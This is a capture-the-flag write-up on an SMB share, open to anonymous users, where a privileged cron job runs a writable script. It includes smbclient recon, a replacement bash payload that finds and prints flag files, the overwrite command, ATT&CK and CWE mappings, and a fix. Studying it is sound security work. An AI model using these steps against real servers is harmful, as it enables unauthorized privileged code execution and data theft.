Printer Shares 3
- Vulnerability
- Writable share + privileged cron
- Impact
- Read a flag our session can't reach
- Tools
- smbclient, a bash payload
- Access
- Anonymous / null SMB session
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Evidence |
|---|---|---|---|
| Discovery | Network Share Discovery | T1135 | smbclient -L enumerated a writable null-session share |
| Lateral Movement | Remote Services: SMB/Windows Admin Shares | T1021.002 | Wrote a replacement script.sh to the share over SMB |
| Privilege Escalation | Scheduled Task/Job: Cron | T1053.003 | A privileged cron job executed the attacker-controlled script every minute |
| Collection | Data from Local System | T1005 | Flag file content appeared in the world-readable cron.log |
Vulnerability Analysis
Root Cause: A privileged cron job executes a script that an anonymous SMB session can overwrite — the script's permissions, not the job's privilege level, are the actual flaw.
- CWE-732: Incorrect Permission Assignment for Critical Resource —
script.shis writable by an anonymous null SMB session despite being run with elevated privilege - CWE-276: Incorrect Default Permissions — The
sharesexport allows unauthenticated write access by default
Severity: No CVSS score applies — this is a lab misconfiguration, not a scored vulnerability in a shipped product. The practical effect is anonymous-to-root code execution.
Summary
An SMB server exposes two shares: a public, writable one (null session) holding a script.sh + cron.log, and a protected secure-shares we can't read. A cron job runs script.sh every minute as a privileged user and appends its output to the world-readable cron.log. Since we can overwrite the script, we make it read the flag for us.
Don't attack the locked door — use the thing that already has the key. The cron user can read secure-shares; we just change what it runs.
Recon
smbclient -L //$H -p $P -N
# shares Disk Public Share With Guests <- writable (null session)
# secure-shares Disk Printer for internal usage only <- ACCESS_DENIED to us
smbclient //$H/shares -p $P -N -c 'get script.sh; get cron.log'
# script.sh = a harmless health check; cron.log gains one line per minute
The payload
Rather than guess the flag's path, the replacement script enumerates and cats any flag* file, so the exact path doesn't matter:
#!/bin/bash
echo "Health Check: $(date)"
echo "WHOAMI: $(id)"
for f in $(find / -iname 'flag*' 2>/dev/null); do echo ">> $f"; cat "$f" 2>&1; done
smbclient //$H/shares -p $P -N -c 'put script.sh' # overwrite, then wait ~60s
Result
After the next tick, the flag appeared in cron.log among the find output:
>> /challenge/secure-shares/flag.txt
<flag redacted>
Takeaways
- Let the privileged job do the work instead of attacking the protected share directly.
- Enumerate, don't guess —
find / -iname 'flag*'+ cat-all made the path irrelevant. - The output channel was free — cron already logs stdout to a readable file.
- Fix: cron scripts should be root-owned and not writable by anonymous users.
References & Standards
- MITRE Framework
- MITRE ATT&CK — Adversary Tactics, Techniques, and Common Knowledge
- Common Weakness Enumeration
- CWE-732: Incorrect Permission Assignment for Critical Resource
- CWE-276: Incorrect Default Permissions
- Security Guidance
- CIS Benchmarks — Security Configuration Standards
- OWASP Top 10 — Most Critical Web Application Security Risks